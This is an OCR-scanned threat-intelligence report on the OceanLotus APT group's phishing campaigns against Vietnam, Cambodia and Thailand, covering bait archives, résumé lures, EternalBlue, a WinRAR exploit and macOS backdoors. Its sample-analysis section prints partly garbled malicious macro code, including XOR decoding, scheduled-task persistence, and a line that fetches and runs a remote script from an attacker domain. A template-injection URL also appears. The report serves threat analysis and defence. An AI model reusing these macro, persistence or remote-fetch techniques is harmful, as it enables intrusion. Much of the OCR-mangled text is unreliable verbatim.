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Overview

OceanLotus is an APT Group with alleged Vietnamese background. The group was first revealed and named by
SkyEye Team in May 2015. Its attack activities can be traced back to April 2012. The targets include China's

maritime institutions, maritime construction, scientific research institutes and shipping enterprises.
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In fact, according to reports of various security vendors, OceanLotus also attacked several countries, including
Cambodia, Thailand, Laos, even some victims in Vietnam, like opinion leaders, media, real estate companies,

foreign enterprises and banks.

RedDrip Team (formerly SkyEye Team) has been to OceanlLotus to keep track of high strength, groupactivity,
found it in the near future to Indochinese Peninsula countries since 2019 the latest attack activity used in the initial
launch load files and attack using the technology, and combined with the QiAnXin threat intelligence data,

associated with a series of attacks.

In this report, we share our summary of the latest attack techniques, attack payloads and related attacks of the

OceanLotus, hoping that we can jointly improve understanding of OceanLotus group, an extremely active APT

group.
Attacks on Countries

The following is a list of typical cases of attacks against some countries on Indochinese Peninsula since the end of

2018. For other unmentioned samples, please refer to the IOC list at the end of this report.

Vietnam

Bait Compression Files

On April 1, 2019, RedDrip discovered a Vietnamese file name "Hop dong sungroup.rar" in the process of daily

monitoring the attack activities of the OceanLotus.

The English version is "Sun Group contract". The compressed package contains winword.exe which is renamed as

“Noi dung chi tiet hop dong sungroup can chinh sua”.

G D EE &4l Hop dong sungroup.rar\Hop dong sungroup - BEE70 NG 419.8 KB A
EfR AT [EE= =i EMES
- (EREF) peak =3
[#E]Noi dung chi tiet hop dong sungroup can chinh sua.exe 338.3KB 1141 KB RFEERF 2018-03-29 17:47
2] wawlib.dll B05KE 414KB WAERETE 2019-03-25 22:34

In addition, we are also associated with another package decoy SUN_GROUP_CORPORATION that translates as

"Sun Group Corporation". The file name in the zip package is as follows:

Noi dung can xac thuc va sua GUI den CONG TY CO PHAN TAP DOAN MAT TROI Bo Tai chinh. exe

4 [ = | 28 SUN_GROUP_CORPORATION.rar\SUN_GROUP CORPORATION - B& g 420.3 KB -
A EF =R EEE =3 =k

. (ERESR) =
[#/Noi dung can xac thuc va sua gui den CONG TY CO PHAN TAP DOAN MAT TROI Bo Tai Chinhexe  339.3KB  114.1KB MR 2018-03-29 17:47
] wwlib.dll 81.0KB  43.4KB WEEFIE 2019-03-29 23:15

It turned out that Sun City Group was actually one of the largest real estate developers in Vietnam.
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SUN GROUP'S HISTORY

SUN GROUP FOCUSES ON THE 4 MAIN FIELDS:

Recreation &

Leisure travel Entertainment Real estate

1998 - 2006

Both samples were uploaded by Vietnam. Therefore, we speculate that the OceanLotus Group in the Sun City

internal staff fishing attacks.

In addition to targeting the Vietnamese real estate industry, we also found that the group would conduct phishing

attacks against the national bank of Vietnam:

The compressed package of the related samples is called cplh-nhnn-01-209.rar. The corresponding date of the

samples is January 22, 2019, and the attack is most likely to occur in a similar period.

4 [E] := | B CPLH-NHNN-01-2019.rar - B2 451.3 KB

£ i) EEE =5 En=E

. (ERER) pra=d
[E ChiPhilienHoanNHNN-EC201 9.exe 3393KB 1141 KB RIFERE 2019-01-22 10:48
5] wwlib.dll 1120KB 627 KB RIEESNE 2019-01-22 10:48

The Chinese name of the compressed package is: "national bank of Vietnam -- 01-209.rar"; The winword. Exe in
the package was renamed "chiphilienhoannhnn-bc209.exe", which translated as "state bank of Vietham sbv-bc
209.exe".

SBYV refers to Vietnam's central bank, the state bank of Vietnam (SBV), while BC actually refers to B2C, or third-

party payment.
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This attack is likely to be launched against the bank's internal staff, similar to the document transmission process

disguised as a third-party payment within the bank.
In addition, there are anti-virus software related information through the disguise of fishing.

Compressed package name: "Gui lai cho MS.MALI post content kaspersky. Rar" (return MS.MAI post content
kaspersky)

4r @ = | Bl Gui lai cho MS.MAI post cantent kaspersky.rar\Gui lai cha MS.MAI post content kaspersky - BA/Ng 4523 +
=42 R =) =3 EXHE

L (ERER) prai
[#5] Gui lai cho MS.MAI post and banner content kaspersky.exe 3303 KB 1141 KB WERE= 2018-03-29 17:47

%] wwlib.dll 113.0 KB 619 KB WFARFTE 2018-12-06 11:21

We also see oil as a theme for fishing:

"Tinh dau can mua" (essential oil required), the PE file in the package is called "details about purchase and

purchase"

4 El EE 4 Tinh dau can mua.zip\Tinh dau can mua - 82870 421.3 KB

EfR i) EEE =3 =L

- (ERES) i
[#5]Noi dung chi tiet mot so san pham tinh dau can mua.exe 339.3KB 1364 KB KRR 2018-03-29 17:47
2] wlib.dll 820KB 47.7KB RIAEETE 2019-04-08 22:32

Bait Documents

The above compression package contains the Kaspersky name bait, and there is also a similar name "Content

marketing kaspersky.doc" in the bait document. After opening the document, it will be shown as follows, enabling

the macro attack method for the Vietnamese version of the induced click.

@ Microsoft Word 2016

T'ai licu n a dugc luu trir dudi phién ban k o1 phién ban hién tai

In addition, we also found a large number of OceanLotus disguised as a resume attack fishing activities, we
internally named it OceanCV activity, and this activity will directly OceanLotus commonly used three macro

attack means all exposure.

First of all, we analyze the sample names. It can be seen that the sample names all start with CV and have the

characteristics of naming. There are three main types:
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1, CV- name (e.g., cv-nguyenquynhchi.docx)
2. CV- name - position (e.g. CV-AnthonyWei- customerservice. docx)
3. CV- random number + English (e.g. Cv-103237-ewqdsd.doc)

It is worth noting that some samples will show the identity indicating the need to enable macro after opening:

| RREE ETEEA BRRE

] Office

Warning: This document does not display correctly, because this Font
is not yet updated. Please turn on Enable Editing. -

"

] Office

Enable Editing.

Then update Font, click Enable Content..

However, when you pull down the progress bar, you will find resumes written in Viethamese, which is true for

most of the samples in the series of activities, and the resumes are inconsistent.

ANH __#7 @yHVH3.

VIi°® W'CGY.E®
EXPERIMENT-
JEZH[SA00TINar/$ F ETAAE B EFO*kM3-

EZi"ae§NT=~E; UFioeV; 4, £0 \§KaT=40=s\p§ouT
... = Qipnt Y=~ 380 EBWTik

omre_LOPCTa /B,
u:zﬁ;»MW‘IGNLD CIgCiiRE)

s L& JESCE| celafERO[ D! TIQE®: 6 vEnw| 2.
- AR AN

+ . - = N
OBJECTIVE~ -jrURSREGEe0" Oxi <uEGEPPWUA B
— A|OBIEE™ 0" maE +BK2pE—o6HSARS Y
WI [u FMOE?.,
A~ E5r 0T HeO5AY —5-
‘stgaa€GpNE/OfS00.00° - a
X% G@oOFade_ - &5|# EOKC750mesae-
D.t0E4"8'R_6 00" aGPEz™, ACIFBH9/EBIPAI =@ WEGT.ES <21k
" B=ranfIE | 2=W2yeV OpANips-
VOLUNTEER EXPERIMENT+
Cyalp3a® i
Za0- =% 04 Rerets 5 MNULA .
TetpiAddERETE L. kI AAB »O+'0168A% ESEVA. LinkedtinZ{1.cofep
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And these sample phishing resumes use different methods.Some use the OceanLotus MSO macro (RedDrip

internally named MSOMacro)

Some use template injection techniques:

[«7xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmIns="http://schemas.openxmlformats.org/package/2006/relationships”> <Relationship Id="rld1"

Type="htlp://schemas.openxmIformais.org/ofﬁ(eDe(ument/2OOS/reIationships/atla(hedTemplate"|Target=”hﬂps://ouileek.updateoffi(es.nel/lead.png” |
TargetMode="External"/> </Relationships>

Some use the technique of converting macro code to a 1-pound font hidden in a document (later upgraded to a

white 1-pound font, internally named OHNMacro for RedDrip).

Calibn (F8371 ~ | 1 | A

In the following sections we will examine each of these three macro usage analyses in detail.

According to this batch of resume samples, we conducted homologous sample correlation for these three macro
documents, combined with various dimensions, and finally found a large number of exclusive malicious macro

samples of OceanLotus. Please refer to the relevant section of Office samples for details.

Exploit Vulnerabilities of Eternal Blue
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We also found that OceanLotus used the "Eternal blue" series of vulnerabilities to target companies in Vietnam

that provided software to the government.

Website: https://www.tandan.com.vn/portal/home/default.aspx

TAN DAN JSC for Vietnam's software company.

. (+84)(4)38471894 - (+84)(4)3823.0041 M contact@tandan.com.vn Ding nhap

THNDHN —JSC TRANGCHU GIOITHIEU SiNPHAM KHACHHANG TINTCC-SUKEN TUYENDUNG  LENHE Q
Cang ty cd phan tin hoc Tan Dan

P Cong ty ¢o phan tin hoc Tan Dan

€dng ty C5 phdn Tin hoc Tan Dan, tién than la Cong ty TNHH Phat trién Ky
thuit va Thuong mai Tan Dan, thanh lip nam 1996. Nam 2002, cong ty chinh
thic chuyén déi thanh Céng ty Cé phin Tin hoc Tan Dan véi dang ky Kinh
doanh s 0103001206 ngay 15/7/2002 do UBND thanh phé Ha Néi cap.

Véi hon 15 nam thanh Iap va phat trién cung dsi ngii Lanh dao, Nhan vién
nang déng, vu td, giau kinh nghiém, Tan Dan da teng bwsc khang dinh dwoc
gia tri va vi thé caa minh trén thi treeng san xuat phan mém néi riéng va
nganh CNTT caa Vit Nam néi chung.

CHITIET

®© @ 6

Co cu tb chirc H& so néng luc Dinh huéng phat trién Khéach hang

Déi tac chinh

The company will provide the government with mail servers, official gazette database systems, citizenship

management systems and more.

MAIL SERVER

EMAIL SYSTEM

Tan Dan provides email solutions based on IBM Lotus Domino infrastructure
The Domino mail server is the backbone communication infrastructure of an
organization that acts as both an Internet mail server and Notes mail server.

SEE DETAILS
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OFFICIAL GAZETTE
DATABASE'SYSTEM

The Official Gazette of the Province was built as a tool to assist users in the

CONG BAO

system, storage, management and dissemination of legal documents issued

by competent authorities at the provincial and district levels.

SEE DETAILS

—
MANAGEMENT OF CIVIL
ATREPENCOF CIVIL STATUS —

2 -
The software provides preeminent features suitable for civil status q‘_‘:an Iy

o tich

management system in all units and agencies across the country.

SEE DETAILS

After the attack is successful, it will distribute Trojan horses. In the report "suspected" of "OceanLotus"
organization's early attack activities against domestic colleges and universities "compiled by us last year, the

Trojan horses used eternal blue to attack colleges and universities are consistent.

https://ti.qianxin.com/blog/articles/oceanlotus-targets-chinese-university/

Phishing Attacks by Exploiting WinRAR Vulnerability

In addition to traditional malicious payloads that take advantage of black and white mechanisms, malicious
payloads that infiltrate tweets and websites, OceanLotus also takes advantage of the latest Winrar vulnerability to

launch attacks against Vietnam.Here is one of the cases we captured:

The package name is "tut_photoshop_scan_bank_id.rar"

<UP-DIR> 2019/4/29 17:3... MRS d...
[ <SUBDIR > 2019/2(2122:0... HiFk d...

& 14pg 281,107 2019/2/21 22:0... PG XL 281,107 100% Good - Ox25...
[&=]1.psd 1,255,922 2019/221220.. PSDfF 1,255,922 100% Good  -... OXZE...
(] 2pg 227,226 2019/2/21 22:0... PG Xfk 227,226 99%  Good - 0x0C...
[E=]2.ped 1,688,711 2019/2/21220.. PSDHF 1,688,711 100% Good  -... Ox2A...
[ 3300 225,017 2019/2/21 22:0... PG X 225,017 100% Good - OXAF...
[E3.psd 1,903,698 2019/2/21220.. PSDXfF 1,903,698 100% Good - OX5F...
] 4.pg 1,273,862 2019/221220... PG 1,273,862 100% Good ... 0x1B...
[®]4.psd 8,724,681 2019/2/2122:0... PSD i 8,724,681 100% Good - 0x75...
4 ARIALUNL.TTF 23,275,812 2019/2/2122:0... TrueType {374 23,275,812 100%  Good - 0x2C...
[5]bank.psd 3,025,020 2019/2/2122:0... PSD XI{f 3,025,020 100% Good . Ox3F...
@ bark_copy.jpg 362,302 2018/2/2122:0... PG 362,302 100% Good . 0%23...
[&=]card.psd 15,037,073 2018/221220... PSDHfF 15,037,073 100% Good OX7E...
(] card_copy.jpg 290,512 2019/2/21 22:0... PG Xk 290,512 100%  Good 0xF8...
+ | Imprisha. ttf 54,380 2019/2/2122:0...  TrueType FHITHE 54,380 100%  Good OxBA..
[E=|Nam_t.psd 5,211,785  2019/2/21220.. PSDHF 5,211,785 100%  Good Ox1F...
[%=]nam_2.psd 10,604,129 2019/2/21220... PSDXHF 10,604,129 100% Good 0X3C..
[%|Nam_3.psd 3,422,039 2019/2/21220... PSDITft 3,422,039 100% Good - 0x64...
[5]Nam_4.psd 6,014,052 2019/2/2122:0... PSD I 6,014,052 100% Good  -.. 0x4A...
[5)Nu_1.psd 2,131,971 2019/2/2122:0... PSD i 2,131,971 100% Good - 0xC4...
[EEINu_2.psd 3,022,455 2019/2/2122:0... PSDM{f 3,022,455 100% Good - 0x33.
[E=hu_3.psd 5,923,571 2019/2/2122:0... PSD XI{f 5,923,571 100% Good . 0x%F9...
A OCR_A_BT.ttf 26,568 2019/2/2122:0... TrueType ={F 374 26,568 100%  Good e OXCB...
s |OCR_A_Extended.ttf 56,624 2019/2/21 22:0...  TrueType I 56,624 100% Good - 0x68...
s |OCRAStd.otf 29,460 2019/2/21 22:0... OpenType 3T 29,460 99%  Good - 0x21...
+ |OCR-B_10_Pitch_BT.Hf 21,028 2019/2/2122:0...  TrueType FHITHE 21,028 100% Good - 0x37...
[E=)us-bank.psd 1,944,230 2019/2/21220.. PSDXHF 1,944,230 100% Good - 0x38...
[&] us-bank_copy.jpg 209,750 2019/2/21 22:0... PG M 209,750 100% Good - 0XFC...

From the sample trigger vulnerability extract file, its name is called CocCocUpated. Exe

e sze Modhed Ty Path Compressed  Rato  Method A.. Comment  CRC
& <P-DR> _ 019/4/29 17:3... HGE d..
[¥]CocCoctpdated.exe 5,757,952 019/221220...  ERERE 577,95 100% Good .. OxCD...
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COCCOC is a Vietnam was founded in 2013 as a new technology company, provides online Internet search
engine services and browsers, the main language used in Vietnamese and English, the search service is Vietnam's

most mature, browser is based on Google Chromium development, support Windows, iOS platform.

Browser O Search Map Math Celebrities  Advertising *
(/A P P
.‘ COC COC Deskicp | Mobile | Mojichat | Blog

Browser and Search

Monthly active users: Automatically add Viethamese tones
23,836,585 and check spelling

Download Browser@ Thém déu va xua |&i trinh ta khi gé tiéng Viét

Size: 1.17 MB
For Windows: 7/8 /10
Download Vietnamese version v Khng phii 6 chinh
Download Windows version (Windows: XP / Vista)

Download Mac OS X version

66, T g & | B

Check spelling : Dictionary ; Convert currency ; Download vides, audio Send files to mobile

Through analysis, we found that it was the early Trojan framework of Oceanl.otus, and we also put it in the

section of sample analysis for separate analysis.

Bait, of course, in addition to the above, we also found that the OceanLotus will use compressed package
embedded MP4 way exploit, compressed package name translated roughly "Cho exclusive blockbuster movie"
Ray hospital, including Cho Ray refers to ho chi minh city, Vietham water wok hospital (ChgRay), ho chi minh

city, Vietnam's largest general hospital.

E 2ERAN Bl Ly BT =2 s =21y M= ==

E |ﬂ Doc-quyen_Hinh-anh-Tong-Trongj-tai-benh-vien-Cho-Ray.rar - EIS0H1 ACE FEERIZE, BBEIZUING 91,464,076 5
- A

= Fobh EEEAN #2R
=
n{ [&] Doc quyen Hinh anh Tong Trongj tai benh vien Cho Ray.mp4 39944765 39944765 MP4 i
v [&] Doc quyen Phe nhom bat dau ban nhan su sau tin dot quy.mp4 50,975,567 50,975,567 MP4 3%
3l

The package contains two MP4 files, one of which is identical to the package name, and a video translated as "the

team began staffing after the exclusive stroke press release.
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+ Doc-quyen_Hinh-anh-Taong-Trongj-tai-benh-vien-Cho-Ray

SRIEF ~ HE~ SEEN  FEEE

HE

HTVN Ding Kd émg hi kEnh Hign tinh Wi

Doc quyen Hinh anh Tong Trongj tai benh Doc quyen Phe nhom bat dau ban nhan su
vien Cho Ray.mp4 sau tin dot quy.mp4

. —
. ‘“*..,__- ! .

" NGUYEN PHU TRONG

L N —— R

Similarly, released for coccocupdate.exe

m ‘ﬂ gj-tai-benh-vien-Cho-Ray.rar\C:\C:C:. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - EIS24) ACE St B8

=3 b EEEAN #R i
. AR
[¥]CocCocUpdated.exe 543,744 543,744 WEERF 2019/2/21 22:03

And its distribute means is the way that USES network dish to undertake putting however.

www.mediafire.com/file/c2fgnjbcjhpqt48/Doc-quyen_Hinh-anh-Tong-Trongj-tai-benh-vien-Cho-Ray.rar/file ¥
D MediaFire Instant Grammar Checker
@ srammarty Correct all grammar errors and enhance
SIGN UP LOG IN your writing
Ad~
B Doc quyen Hinh-anh-Tong Trongj t...
Free Writing Tool - <o+
Grammarly

@ MediaFire  Getad free downloads and 1 TB of space.

Improve grammar, word choice, and

sentence structure in your writing Its

free! E juyen_Hin| £ Doc-quyen Hinh-anh-Tong...

Compressed Archive (.RAR) Can be opened with
& WinZip for PC
“ File size: 87.23M8 =

Uploaded: 2019-04-16 01:39:34
About Compressed Archive Formats Doc-quyen_Hinh-anh-Tong...
Compressed archives combine multiple files into @ System compatibility
single file to make them easier to transport or save
on diskspace. Archiving software may also provide Windows (your 0S)  ~
options for encryption, file spanning, checksurms,
self-extraction, and self-installation. Zip is the most- @ File is compatible with the
widely used format, used by the Windows selected operating system.

operating system and more recently by OSX as well.
RAR s also a very popular and flexible format. Unix
uses the tar file format, while Linux uses the tar and
gz format.
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This new Trojan horse will be analyzed in detail in the section of sample analysis.

MAC Backdoor

In addition to targeting Vietnam on the Windows platform, OceanLotus also attacks Vietnamese users on the
MacOS platform. The following samples are typical of recent launches, which use such means as browser update,

Flash installation update package, font installation package, disguised as a document to actually attack the

installer.
Oceanlotus . [)
i : Firefox.dmg Fonts Installer FlashUpdate
e | 4
MaCOS Google Software Woi dung chi tiet.8% Don khieu nai.docx
badeOO r Update MEocx

Interestingly, when we were analyzing the samples disguised as Firefox, it would show the interface of installing

Firefox after opening. Double-click the icon of Firefox, and the Trojan horse would be executed:

[ NON ] El Firefox

When you click on the update, even if you are disconnected from the Internet, the download progress bar will

appear.
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Firefox sy

500 What's new VMware Shared
| = | : Folders
Firefox is designed by Mozilla, a global community working
together to keep the Web open, public and accessible to all. )
Want to help? Make a donation or get involved!
Firefox
Licensing Information End-User Rights Privacy Policy

refax and the Firsfox logos are trademarks of the Mozilla Foundstion.

T V= Fus@ugﬁ

This is the fake interface the attacker drew:

= ERE =R i
J enlproj 2019/5/7 12:10 pral =3

] ajax-loader.gif 2018/3/23 12:10 GIF =04 9 KB

|Bs| background.png 2018/3/23 12:10 PNG Eie 68 KB

[R4| Backgroundinfo.png 2018/3/23 12:10 PNG Ei& 17 KB

B bg.png /3/23 12:10 PNG B 13 KB

|| GSUIcon.icns 312:10 ICNS 324 783 KB

[Ri| Update Add-on copy.png 312:10 PNG Ei& 29 KB

|| UserDefault.conf /3/23 12:10 CONF 2§ 81 KB

|| ViewControllerD.nib 3/23 12:10 NIB 314 6 KB

|| ViewControllerl.nib 312:10 NIB 37f5 9 KB

|_| ViewControllerZ.nib (3/23 12:10 NIB 314 4 KB

P:i_.] background.png - Windows BR =558 =|E iz--‘

IEF) v FIENP) v~ EEFEMEE) BFEV) v FIFHO) v (7]

Firefox

Firefox is designed by ,a working
together to keep the Web open, public and accessible to all.

Want to help? or

o-

Similarly, in the following chapters, this batch of MacOS samples targeted at Vietnam were extended for analysis.
Cambodia

Here is this year's latest attack on Cambodia by OceanLotus, called "report-no.0162(02 Pages).doc."

The sample operation process is shown in the following figure:
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Ij Microsoft Loading...

s) . doc

0162(02 P: @
| s ABE AabC Aapb P 7 Eoaxx Aveasae

B AqBhC AdE
o ear e

The samples associated by homology are as follows:

MD5 Filename Create time
56b5a96b8582b32ad50d6b6d9e980ce7 Request Comment on UYFC.doc 2019-03-18 04:12:00
3fd2a37c3b8d9eb587c71ceb8e3bb085 No0.039714(cdri).doc 2019-03-25 04:33:00

The associated sample for the Cambodia attack Request Comment on uyfc.doc.

The UYFC is actually a Cambodian youth federation, the | UYFC ngo, which attacks people who might be

associated with the conference.

7
- UNION OF YOUTH FEDERATIONS OF CAMBODIA

o
@ R, PUWSCRRYDR n AboutUs  Program v  Gallery~  Contact Us

'

$B Cambodia Team at Chingay Par: 17 | 852 (] 4 -
<= %a) T

Document screenshot:
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Enable Content

No0.039714(cdri).doc

Microsoft Word

This Document is protected

Please click “Enable Content” to view protected data

It is clear that the attack on Cambodia also used OHN macros.

In addition to scanning documents, last year hilina also Scanned Cambodia using MacOS samples. Related

sample: "Scanned Investment report-july 2018.zip"
Thailand

The typical examples of attacks by OceanLotus against Thailand since 2019 are as follows

MD5 Filename

Form_Provisional Agenda of the ASEAN Senior
4¢30e792218d5526f6499d235448bdd9

Officials Preparatory Meeting.doc

d8a5a375da7798be781cf3eab89ae7ab Program Retreat.doc

It is named Form_Provisional Agenda of the ASEAN Senior Officials Preparatory Meeting.
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Actually, the meeting was successfully held in Thailand on April 6, 2019. From the creation time and upload time
of the document (2019-03-22), it can be seen that OceanLotus has a strong ability to obtain current affairs and a

long preparatory cycle.

During the meeting, the ASEAN 10 countries and eight dialogue partner countries including Australia,
China, India, Japan, South Korea, New Zealand, Russia and the United States jointly reviewed the report
of the ADSOM Working Group; the ASEAN Secretariat’'s report on past ASEAN development and
submission The contents of the ASEAN Defense Ministers Extended Meeting (ADMM) held inat
the end of this year. The meeting focused on the latest developments in the three-year (2018-2018) expert
working group of the ASEAN Defense Ministers Extension, including humanitarian assistance, disaster
relief, maritime security, military medicine, counter-terrorism, peacekeeping operations and cybersecurity.

The second document, Program Retreat, may target the military, but the broader meaning of the name does not

make the attacker's heart sink.

Besides, the document contents of the two files in the above table are the same. The following is the screenshot

after restoring the shellcode font in the document:

Microsoft Loading

0422030

3204 o 44569602047

4c2041

A4D4E2041732042797 4550004 2020202044 69602077592 3534533857 <
4852048

775933534533557574416077 6955 776743 4A 2T TS 16CSTAISS A

It also USES OHN macros.

Sample Analysis

MSO Macro Documents

The "MSO macro" of OceanLotus has commonality. We analyzed one sample, and it can be seen that the extracted

macro code is as follows:

First it adds the Data through the Data variable, and then after base64 decryption, decrypts the VBS code, releases
it into the msohtml.log, and copies wscript. Exe into Windows \SysWOW64\msohtml.exe:

Page 15 of 79



https://ti.qianxin.com /blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/

tgrIRwdsnmuquriMIt As S
tgrIRwdsnmuguriMIt
Data = Data +
Data = Data +
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data ]
Data = Data " j v j UwLDUTNywINT
Data = Data )
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data
Data = Data

DTPcDKLWrBEXmDIohyq

DTPcDKLWrBEXmDJohyq

KTCmuIMgBIRYzHIrL As t
KTCmuIMgBIRYzH1rL 'xCoECUjRVpvzrBd.CreateTextFile(tgrIRwdsnmuquriMIt)
KTCmuTMgBIR .WritelLine DTPcDKLWrBEXmDIohyq
KTCmuIMgBIRYZH1rL .Close
i CoECUjRVpvzrBd
1rL =
OFS0 = CreateObject(

hGCxCPW As

XNWMGNPWXpK & "

FileCopy wRXfRFhGCxCPW & "\Wind U rzfe IMGNPWXpK & "\ms

Emd If

Execute the msohtml.log script by copying msohtml.exe (that is, wcript.exe), as shown in the figure below:

HLKBVQLIEPWph( g\
TnbMvyghwKQ1pRBn1KU:
FxrIUmVmgUiWfGXVnAnEPgZ As
FxrIUmVmgUiWfGXVnAnEPgZ = Environ(“te )
TnbMvyqNwKQ1pRBn1KUsWHk xr IUmVmgUiWFGXVnANEPgZ
TnbMvygNwKQlpREn1KUsWHk = TnbMvygNwK c . i * & FxrIUmVmgUiWfGXVnAnEPSZ

TnbMvyqNwKQ1pRBnlKUsWHk = TnbMvyqhwK

0TJJajPBLIcbWkYDN As
PdwkQsFOT1JajPBLIcbWkYDN = CreateObject(”
PdWkQsFOTJ PBLIcbWKYDN.RegWrite gvZwdQOirrfB, TnbMvygNwKQlpREn.

And create scheduled tasks:
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yiBhyERIualWRmBjcsIbCZLq( nACS]YjdxmUAnw As String)
TriggerTypeTime = 1
ActionTypeExec = @

service.GetFolder("
taskDefinition
taskDefinition = service.NewTa
principal
principal = taskDefinition.principal
principal.LogonType = 3
settings
settings = taskDefinition.settings
settings.Enabled =
settings.StartWhenAvailable =
settings.Hidden =
triggers
triggers = taskDefinition.triggers
trigger
trigger = triggers.Create(TriggerTypeTime)
startTime, endTime
time
time = DateAdd("” » Now)
startTime = XmlTime(time)
trigger.StartBoundary = startTime
trigger.Enabled =
Repetition
Repetition = trigger.Repetition
Repetition.Interval = "PT" & &
Action
Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path =
Action.Arguments :::{" & MBr nACSJYjdxmUAnw &
rootFolder.RegisterTaskDefinitio taskDefinition, 6,

The contents of the msohtml.log script are as follows. It will execute the data in the cs array after xor 518:

OUI, 201, 291, DLU, 20T, DIU, DU, 290, 93, DIU, 0L3, 010, 0LL, D0, IdL, D20, DL, 0L, DI, 311,

550, 608, 610, 631, ! =hrray (585, 616, 550, 579, 625, 625, 617, 623, 590, 596, 611, 629, 62T, 6149, 611, 550, 584, 611,
578,581,533,577,!5 0, B26, 524, 576, B2T, B16, 613, 626, 623, 61T, 616, 550, 617, 576, 636, 626, 578, 577, 592, 554
627, 616, 613, 626, | B1F, 622, 575, 618, B26, 636, 631, 596, 6248, 55T, BOT, 555, 590, 639, 556, 592, 579, 629, 606, 585,
f28, 611, 6T, 57T, 1 B1%, 597, 603, 609, 629, 590, 604, 599, 615, 631, 612, 623, 581, 607, 628, 554, 578, 619, 586, 576,
554,811, 626, 594, ! B26) 626, 604, 579, 590, 625, 609, 62T, 574, 585, 603, 599, 603, 559, 524, 617, 576, 636, 626, 575,
593, 636, 590, 538, | STTAS9Z, 584, 615, 622, 578, 614, 626, 636, 631, 596, 625, 557, 607, 550, 571, 590, 590, 639, 556,
550, 581, 588, 628, | 592, |79, 629, 606, 585, 612, 597, 603, 609, 623, 590, 604, 599, 615, 631, 612, B23, 551, BOT, B2S,
542, 620, 620, 610, ! 550, 857, 550, 578, 619, 586, 576, 626, 626, 604, 579, 590, 628, 609, 627, 578, 585, 608, 599, 603,
827,616, 613, 626, 1 524, 5§9, 616, 610, 550, 576, 627, 616, 613, 626, B23, 617, 616, 524, 573, 623, 619, 550, 595, 559,
599, 597, 598, 581, ! 584, 619, 636, 553, 622, 609, 636, 599, 623, 594, 606, 579, 604, 615, 613, 594, 594, 621, 578, 577,
585, 596, 593, 619, ! 631, 60Y, 610, 554, B27, 626, 610, 61T, 591, 623, 597, 623, 620, 591, 618, 618, 591, 595, 578, 610,
f26, 580, 618, 545, ! 554, 5TH 636, B30, B25, 618, 577, 604, 631, 639, 60T, 610, 621, 596, 626, 619, 622, BO6, 628, 524,
5ai, 5a@, 621, 61T, ! 596, 615)616, 610, 617, 619, 623, 636, 611, 524, 621, 575, 577, 631, 609, 610, 554, B2T, 626, 610,
594, 612, 593, 58T, | B17, 591,%23, 597, 623, 620, 591, 615, 615, 591, 595, 575, 610, 550, 571, 550, 596, 616, 610, 524,
550, 571, 550, 548, | 578, 636, 430, 625, 614, 57T, 604, 631, 639, 60T, B10, 621, 596, 626, 619, 622, BO6, 628, 550, 571,
571, 550, 595, 636, 550, 595, 6\, 510, 524, 595, 589, 554, 615, 535, 583, 672, 608, 635, 599, 623, 594, 608, 579, 604,
558, 631, 624, 592, 603, 626, 591\ 596, 621, 617, 592, 604, 591, 605, 576, 554, 555, 596, 593, 619

594, 612, 593, 58T, 610, 554, 6253639, 591, 610, 636, B21, 587, 629, 639, 593, B26, 550, 618, 595

91 emd="": For each ¢ in %®s: emd=emddChr (o xor 518): Next : ecmd=cmdéwheorlf:

Execute (emd)«

The decrypted script, as shown in the figure, will execute the malicious code after the elements in the cs array xor
415:
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z  On Error Resume Nexs

5 Function oFscDCUNaRDL | DRLFEt2EHEquDOEGE)
F2tDEVNShDlezqR=MY = C¥r + DmlFttZZErquDOSRE

S Znd Funetien

Dim TREZLCT, X 1111000

KDCqgdlNutdoTiSijT11T0D = Bnd
Dapw1GZqyYdkRLmiXr = Rad
T - oFziDGVNan DeqedNurdeTisi T11TUDd 1
Function dHAGhiciBMuby( TLCeKsfvdlUWMIdR )
Dim JmURPLCLmHukJ, sskaeCmGeloz( )

ReDin cskaeCmGolos ( len( TLCeKzfvdUMMIGQ ) - 1)
Foz = 0 To Uscund( )
aaCrt = 2Asc( Mid( T £ . EENET N
Next
HAGbiciRlxby = cakaeCmGcloz
Znd Fus
Dim ADDbXWHRAKFz
= amack: g
Function DTSIR( esRUEL i )
Dim DokeoE, 1¥itxCh: == JoR( )
RaDim iRiexcn == ( Len( ecrury: A VAL ) - 1)
For NnjdVivKdRZrerBevMDoKeoE = 0 To USound( 1KitxGhDaqtefSAJBxujlH )
Kitxh =2, KeoZ) = Asc( Mid( evRMFIDRFIUVHUxeBIVAL, NnjdVivEdRZrerBewDeKeeE + 1, 1) )

Hext
2 DTsL2 = iitxGh £z

=nd Function

Dim YMIJOpERUpwIbTIrin

es=Array (464,497,447, 474,493, 493,496, 493,447, 461,506,492, 490,498, 506, 447, 465,506,487, 491,447,421, 447,492, 506,491, 447,478,474, 474,457, 502,493, 478,506,508, 474,492, 453,476, 47C
a;

472,506,491, 464,509, 501,506, 508,491,433, 91,421,503, 491,491 92,421, 432,432, 496,495, 506,497, 433,509, 506,491,510, 496,505, 505, 502,508, 506,433,497,
504,445, 438) : For each ¢ in es:| cmd-cmdaChr (c xor 415) - |News [ ERERAFVECEITT SReeUTe (Rl |
o = = oTsIR (=

Function WaHPsDviUsilpre¥CuD (CUrIAWDIKVRwJ, ez TV33d0rXxIanz0e)
W2HDSDViUXNpreYCyD = CIrTAuDIXVRWJ + exTVj)dOri)anzoe

Dim ZHjgHLWEQSEC, quVEs TakoUZI £F , ORAmTEIMAN  y TdzkMs yilcB1T
Rendomize

QUVSTIRKOVZIEF = 2nd

ORWEILMMANzyIdz iy HEB1Y = Rad

2ZHIGHLWHQSEC = W2HPSDviVablpre¥oud (qviZeTRksV2TEF, ORVTHIMAN Y Tdz Koy WeB1T)

After decryption of malicious code as shown in figure: will be downloaded from

https://open.betaoffice.net/cvfemale.png code and execution.

On Error Resume Next : set AEEVirAehEsZCIvwURUVdafL =
GetObject("script:https://open.betaoffice.net/cvfemale.png”)

OHN Macro Documents

Extract the macro code from the sample, open the word document, it will prompt to enable the macro, after

enabling the macro will execute this function:

AutoOpen()

¥XLNEsvUKPSANdAW jubAGle _pmcQIvg28Da6IQ7ET

Then it will copy its office document to temp and name it random, as shown in the figure:

XLNBsvUKPSAndaWjueAGle pmcQIvg2@DasIQ7EI()

Errortandler

